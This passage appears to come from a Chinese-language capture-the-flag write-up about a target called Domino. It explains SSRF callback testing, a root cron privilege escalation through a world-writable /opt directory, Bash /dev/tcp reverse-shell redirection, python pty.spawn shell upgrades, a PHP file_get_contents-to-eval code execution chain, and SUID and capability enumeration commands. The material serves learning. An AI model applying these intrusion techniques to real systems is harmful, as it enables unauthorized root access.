| 普通图片地址 | 仅设置 src,不放事件代码 | 是否存在 HTML 渲染或资源预加载 |
| 需要求值的表达式 | 完整回连地址只在 JavaScript 求值后形成 | 是否存在脚本执行,而不只是完整 URL 提取 |
| 重复与基线测试 | 每组用不同标记,等待相同审核窗口,再重复测试 | 降低缓存、异步审核和偶发网络错误的影响 |
每次记录提交时间、工单编号、唯一标记、回连时间和请求内容。验证脚本执行时,可以使用测试者自己生成的标记或无敏感信息的计算结果,不需要收集其他人的 Cookie。
联系 Domino: 完整 URL 写法出现回连,而字符串拼接写法没有,支持“后台提取完整 URL 并主动访问”的推测。但两种写法还可能受到不同过滤规则影响,所以继续审计审核程序会更有说服力。若要进一步判断 SSRF,还要核实请求确实由服务端发起、目标地址是否受输入控制,以及这种控制是否越过功能允许的范围。这些属于对本次证据的分析,不等于新增了一条已经验证成功的漏洞链。
13.4 Linux 文件、目录权限与 Cron 提权原理
UID/GID 与文件所有权
UID 标识用户,GID 标识组。进程具有真实、有效等不同身份标识,并可能属于多个附加组;文件也记录所有者和所属组。查看权限时,要把 id 的结果与 ls -l 中的所有者、所属组和权限位对应起来,不能只看终端提示符。有效 UID/GID 等凭据参与权限判断;普通宿主机环境中的 UID 0 对应 root。Linux credentials(7)
同样的 rwx,对文件和目录含义不同
| 权限 | 普通文件 | 目录 |
|---|---|---|
r | 读取文件内容 | 读取目录项列表,也就是列出名字 |
w | 修改文件内容 | 修改目录项,例如创建、删除或改名;通常还需目录的 x |
x | 允许作为程序执行,仍受格式等条件约束 | 搜索、穿越目录,访问已知名称的子项 |
删除或改名主要操作的是父目录中的目录项,不等同于修改文件内容。访问一条路径时,还需要逐级通过中间目录的搜索权限。Linux inode(7)、path_resolution(7)
777 表示所有者、组和其他用户都有 rwx;1777 则额外设置了目录粘滞位。粘滞位通常限制只有条目所有者、目录所有者或有相应权限的进程才能删除、重命名该条目。它不等于“目录不能写”,也不会自动阻止修改一个本身允许写入的文件。inode(7):特殊权限位
为什么本题不能改脚本,却能替换整个目录?
原脚本属于 root:devops,www-data 对它没有写权限。但 /opt 是无粘滞位的 777 目录,允许当前用户修改其下的目录项。本次通过在同一个父目录内把 monitoring 改名,再创建同名目录,使原路径转而指向自己的文件;不是把原脚本的所有者变成了自己。rename(2):目录项重命名
1 | 定时任务仍使用: |
这也说明,使用绝对路径并不足以保证安全:只要其中某一级目录可被低权限用户替换,高权限程序最终打开的对象仍可能变化。判断时应检查整条路径;例如 namei -l /opt/monitoring/health_report.sh 可以逐级展示路径组件。
Cron 的执行身份与 TOCTOU 的区别
Cron 按时间规则启动任务。用户自己的 crontab 通常使用该用户身份;/etc/crontab 和 /etc/cron.d/ 中的系统任务格式还包含执行用户名。下面只是格式示例,不能据此认定本题的实际周期:
1 | # 系统 crontab 格式示例 |
本题是通过 pspy 观察到 root 执行这个脚本,再通过 root_probe.txt 验证权限。脚本文件归谁所有,并不会决定它被 Cron 启动时使用谁的权限。另一个细节是:当命令明确为 bash 脚本路径 时,解释器读取脚本内容,不依赖直接执行脚本所要求的那个可执行位。crontab(5)
TOCTOU 指“检查资源”和“使用资源”之间,资源被替换或状态改变导致的竞争条件。本题已经证明的是高权限任务信任了可被替换的路径,并不需要抢占一个很短的检查窗口;只有进一步发现先检查、后使用之间可被利用的竞态,才适合明确归为 TOCTOU。MITRE CWE-367
13.5 反弹 Shell、TTY/PTY 与 Linux 进程控制
反弹 Shell 为什么能交互?
Reverse Shell 是目标端主动连接监听端,再把 Shell 的输入、输出接到这条连接上。网络连通后,监听端输入的字节可以成为 Shell 的命令输入,Shell 输出则沿连接返回。它解决的是通信问题,本身不会把普通用户提升为 root:本题第一次连接继承 www-data 的执行身份,后来由 root 定时任务启动的连接才具有 root 权限。
Linux 程序通常约定:
| 文件描述符 | 名称 | 常见用途 |
|---|---|---|
0 | 标准输入 stdin | 读取输入 |
1 | 标准输出 stdout | 输出正常结果 |
2 | 标准错误 stderr | 输出错误与诊断信息 |
在本题 Bash 命令中,/dev/tcp/地址/端口 是 Bash 重定向支持的特殊语法,不一定是真实存在的磁盘文件。>& /dev/tcp/... 把标准输出和标准错误接到网络连接,0>&1 再让标准输入引用同一个已打开的连接。Bash:重定向说明
理解重定向还要注意顺序:
1 | command > output.log 2>&1 |
第一行先把输出接到文件,再让错误输出跟随它;第二行先让错误输出复制原来的输出去向,再改变标准输出,所以二者结果不同。
有 Shell,不代表有终端
TTY 指终端接口;PTY 是软件提供的一对伪终端端点。一个端点由终端程序控制,另一个为 Shell 等程序提供类似真实终端的接口,包括回显、行规程和终端信号等行为。单纯把 Shell 接到 TCP 字节流,不会自动建立这些终端能力。Linux pty(7)
因此,本题出现 cannot set terminal process group、no job control,与缺少适当的控制终端有关,不代表命令一定无法执行。bash -i 使 Bash 进入交互模式,也不等于创建 PTY。
前面使用的命令:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
会为子进程提供伪终端,并在当前输入输出与子进程之间转发数据。它改善目标端终端行为,但本机终端的模式、窗口大小和信号传递仍是另外一层问题,也不会改变用户权限。Python:pty.spawn
Ctrl+C 究竟会中断谁?
在启用了相应终端处理的常见配置下,Ctrl+C 由终端驱动转换成 SIGINT,发送给该终端的前台进程组。程序可以处理或忽略某些信号,因此它不是无条件“强制杀死当前命令”。Bash:前台进程组与作业控制、Linux signal(7)
对简单的 nc 反弹连接而言,本机终端前台运行的可能是 nc。此时按 Ctrl+C 可能先中断本机 nc,导致整条连接断开,而不是只停止远端正在运行的命令。判断这类现象时,要先分清“本机终端—传输程序—远端 Shell”三层,以及哪一端正在处理控制字符。
为什么请求一直等待,或者会出现多次回连?
本题的 PHP 代码在命令执行调用中启动交互式 Shell,后者可能持续等待输入,使当前 HTTP 处理流程迟迟无法返回。请求未结束不等于没有触发,应该同时查看监听端。客户端断开连接也不保证服务端子进程立即结束,具体取决于进程关系和连接处理方式。
Cron 按调度时间触发任务,通常不会自动等待上一轮同一任务结束后才启动下一轮。如果任务长期阻塞,又没有锁或其他并发限制,后续周期可能启动新实例,因而出现多个进程或连接。关闭一次 Shell,也不等于修改后的定时任务已停止。这里是对执行机制的解释,本题具体出现多少实例仍应以进程与监听记录为准。cron(8)
13.6 PHP 文件处理与代码执行漏洞原理
同样接收“文件”,这些操作实际做的事情不同
| 操作 | 主要行为 | 数据何时变成代码 |
|---|---|---|
file_get_contents | 把本地文件或支持的 URL 内容读成字符串 | 读取本身不会执行字符串中的 PHP |
include | 包含文件并解析其中的 PHP 代码 | 被包含内容进入 PHP 解释流程时 |
require | 包含行为类似 include,但失败处理更严格 | 同样发生在解释被包含内容时 |
eval | 把字符串当作 PHP 代码执行 | 字符串直接进入 eval 时 |
include 失败通常产生警告;require 在 PHP 8 中失败会抛出 Error,若没有处理会中断执行。两者的安全区别不在于谁“更适合接收用户输入”,而在于是否让不可信内容进入执行流程。PHP:file_get_contents、include、require、eval
LFI、RFI 与 RCE 不要只按参数名字判断
- LFI(本地文件包含):不可信输入影响了本地文件包含目标;影响可能是泄露内容,也可能在特定条件下进入代码执行。
- RFI(远程文件包含):不可信输入影响了远程内容的包含与解释。
- RCE(远程代码执行):描述最终能力,即远程输入导致目标执行可控代码;文件包含只是可能的实现路径之一。
如果只是 file_get_contents 读取文件并返回文本,更准确地说是文件读取或源码泄露,不能仅因读到了 .php 文件就认为 PHP 已被执行。本题则明确出现了“下载字符串后传给 eval”的链路。
Domino 的信任边界在哪里被跨越?
1 | 用户可控的 name |
这里真正危险的转换发生在最后一步:外部响应原本是数据,却被当成了可信代码。str_replace 删除开头标记并没有净化代码;eval 通常本来就接收不带外层 PHP 起止标签的代码字符串。ob_start 与 ob_get_clean 只是控制输出缓冲,不是隔离执行的沙箱。PHP eval 语言结构
allow_url_fopen 与 allow_url_include 分别控制什么?
allow_url_fopen 控制可感知 URL 的文件流包装器,影响使用 HTTP 等 URL 的文件读取。allow_url_include 则针对 include、require 等操作使用 URL 的行为,并要求前者启用。它们作用的操作不同,不能互相替代。PHP:文件系统运行时配置、PHP:使用远程文件
因此,关闭 allow_url_include 并不能阻止本题“file_get_contents 获取内容,再 eval”的组合;而关闭 allow_url_fopen 也不是禁止 PHP 通过所有方式联网的总开关。根本修复方向是避免执行不可信字符串,对文件读取采用明确的允许范围。
还有一个与本题直接相关的细节:通过 HTTP 获取 rev.php,得到的是远端 HTTP 服务返回的正文。前面使用 Python 静态文件服务,返回的是文件中的 PHP 源码;如果提供文件的一端先解释了 PHP,目标拿到的就可能是执行结果,而不再是原始源码。判断远程代码链时,要检查实际响应内容,而不只看扩展名。
13.7 Linux 本地提权枚举结果的判断
枚举输出是候选线索,接下来要判断具体能力
本地枚举的目标不是收集越多输出越好,而是回答:当前身份能控制什么、哪个更高权限的进程会使用它、两者之间是否存在可验证的联系。
| 机制 | 它提供什么 | 不能直接得出的结论 |
|---|---|---|
| SUID | 执行符合条件的程序时,有效用户身份可切换为文件所有者 | 发现带 SUID 的系统程序就一定能获得 root |
| SGID | 可执行文件可影响有效组身份;目录上还影响新建文件的组继承 | SGID 一律等同于 root 权限 |
| Linux Capabilities | 将部分特权拆分授予进程或程序 | 只要存在 capability 就一定可利用 |
| sudoers | 限制哪些用户能以哪些身份运行哪些命令 | 允许一个命令就代表可以执行任意命令 |
| Cron/其他任务 | 按配置以某个身份运行程序 | 每个定时任务都以 root 运行 |
SUID/SGID 还会受挂载选项、no_new_privs 等执行条件影响。Linux 也不会按普通原生可执行文件的方式兑现解释器脚本上的 SUID 位;因此不能只看 ls -l 中出现了 s 就结束判断。execve(2):执行身份与限制、inode(7):SGID
读懂 find 命令的范围
1 | find / -xdev -type f -perm -4000 2>/dev/null |
这条命令从根目录出发,只找普通文件,并匹配“包含 SUID 位”的权限。-perm -4000 中前面的减号表示指定的权限位必须存在,并非要求完整权限刚好等于 4000。-xdev 不向不同设备号的文件系统继续下探,所以独立挂载的数据目录可能不在这次扫描范围内;2>/dev/null 只是隐藏报错,不会让原本不可访问的目录变得可读。GNU find 手册
可以按需要补充 SGID 与 Capabilities 检查:
1 | find / -xdev -type f -perm -2000 2>/dev/null |
例如 CAP_SETUID 与变更用户身份有关,CAP_DAC_READ_SEARCH 与绕过部分文件读取、目录搜索权限有关。但还需检查它被授予了哪个程序、是否实际生效、该程序是否提供可控的对应操作,以及运行环境的其他限制。Linux capabilities(7)
sudoers 要看完整规则
sudo -l 用于查看当前用户可执行的命令;sudo -n -l 则不进行交互式密码询问。提示需要密码,只说明这次非交互查询无法继续,不能由此得出“机器没有任何 sudo 规则”。
若能读到规则,应一起查看目标用户/组、命令路径、允许的参数、NOPASSWD 标签以及环境限制。NOPASSWD 表示匹配规则的调用不要求密码,不会自动扩大规则原本允许的命令范围。sudoers(5)
pspy 与静态 Cron 枚举要互相印证
crontab -l 默认查看当前用户自己的任务,不代表所有用户的任务。还可检查有权限读取的 /etc/crontab、/etc/cron.d/ 等位置;看不到其他用户的 crontab,并不说明后台没有任务运行。
pspy 利用进程文件系统中的可见信息,并借助文件系统事件等方式增加捕获短生命周期进程的机会。它输出的 UID、PID、时间戳和命令行可以帮助定位高权限任务,但仍可能漏掉进程;没有输出不能等同于没有任务。pspy 项目原理与 Cron 示例
本题的判断链是:
- SUID 枚举暂未发现明显值得继续分析的异常项。
/opt权限表明普通用户可以影响该路径下的目录项。- pspy 把
health_report.sh与 root 执行身份联系起来。 root_probe.txt中的uid=0验证了替换后的脚本确实被高权限进程执行。
这些证据互相连接,才形成可解释的提权路径。对于以后遇到的其他枚举结果,也可以按“可控对象 → 使用它的进程 → 执行身份 → 实际效果”这四步继续判断。

